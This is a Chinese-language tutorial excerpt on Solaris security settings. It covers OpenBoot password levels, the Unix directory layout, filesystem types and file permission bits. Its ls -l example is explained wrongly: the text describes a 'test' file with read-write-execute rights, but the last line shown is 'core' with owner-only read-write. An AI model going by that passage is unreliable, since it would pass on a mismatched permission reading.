1)OpenBoot安全级别 none :不需要任何口令,所有OpenBoot设置都可以修改,任何人只要物理接触到了主控台,就可以完全控制 command : 除了boot和go之外所有命令都需要口令。 full : 除了go命令之外所有命令都需要口令 2)改变OpenBoot安全级别 首先,使用eeprom security-password命令来设置OpenBoot口令 其次,在root登陆状态使用eeprom security-mode=command命令改变安全级别为commad或在OK状态: ok setenv security-mode=command的密码保护来实现 |
solaris安全设置---文件系统安全
·每个文件对应一个"i节点","i节点"包括UID(文件拥有者)、GID(文件所在组)、模式(文件的权限)、文件大小、文件类型、ctime("i节点"上次修改时间)、mtime(文件上次修改时间)、atime(文件上次访问时间)、nlink(链接数)。它表示了文件的基本属性。
·根目录下各级目录 /bin 用户命令的可执行文件 /dev 特殊设备文件 /etc 系统执行文件、配置文件、管理文件,主要是配置文件 /home 用户起始目录 /lib 引导系统以及在root文件系统中运行命令所需的共享库文件 /lost+found 与特定文件系统断开连结的丢失文件 /mnt 临时安装的文件系统(如光驱、软驱) /proc 一个伪文件系统,用来作为到内核数据结构或正在运行的进程的接口(用于调试) /sbin 只有root使用的可执行文件和只需要引导或安装/usr的文件 /tmp 临时文件 /usr 为用户和系统命令使用的可执行文件、头文件、共享库、帮助文件、本地程序(在/usr /local中) /var 用于电子邮件、打印、cron等的文件,统计文件,日志文件 ·文件系统有多种类型,unix内核支持如下文件系统: 1) ext2 固定和可移动磁盘都支持的一种高性能文件系统,用于linux 2) msdos 由MS-DOS和Windows使用 3) umsdos Linux使用的一种扩充的DOS文件系统,支持长文件名、权限设置 4) iso9660 遵从ISO9660标准的CD-ROM文件系统 5) hpfs High Performance Filesystem,高性能文件系统,OS/2使用 6) minix 在Minux OS中使用,最早的Linux文件系统 7) nfs 用来访问远程计算机中磁盘的网络文件系统 8) swap 用作交换的磁盘分区 3.1.2.2 文件权限 1) 文件权限是unix文件系统安全的关键。 2) Unix中的每个用户有一个唯一的用户名和UID(用户ID号),每个用户属于一个或多个组。基本分组成员在/etc/passwd中定义,附加的分组成员在/etc/group中定义。例如,用户tiger的UID为225,分组为11(students),此外,他还是分组185(postgraduates)的成员。 3) 每个文件和目录有三组权限,一组是文件的拥有者、一组是文件所属组的成员、一组是其他所有用户。"r"表示可读,"w"表示可写,"x"表示可执行。一共9位(每组3位),合起来称为模式位(mode bits)。 4) 模式位通常由一列10个字符来表示,每个字符表示一个模式设置,第一个指明文件类型,如 (d表示目录,-表示普通文件,l表示链接文件等等)。 例如,用ls -l 命令显示如下: drwxr-xr-x 2 root root 1024 Aug 13 09:22 backup/ -rw-r--r-- 1 root root 1824 Apr 21 18:45 client.c -rw------- 1 root root 65536 Apr 22 17:56 core 例如最后一行以"-"开始,表示test使一个普通文件,文件拥有者可以读写执行、本组其他成员可以读执行、其他用户可以读执行。我们可以用chmod和umask命令来改变权限,这很简单,察看相应的帮助就知道怎么修改权限。 |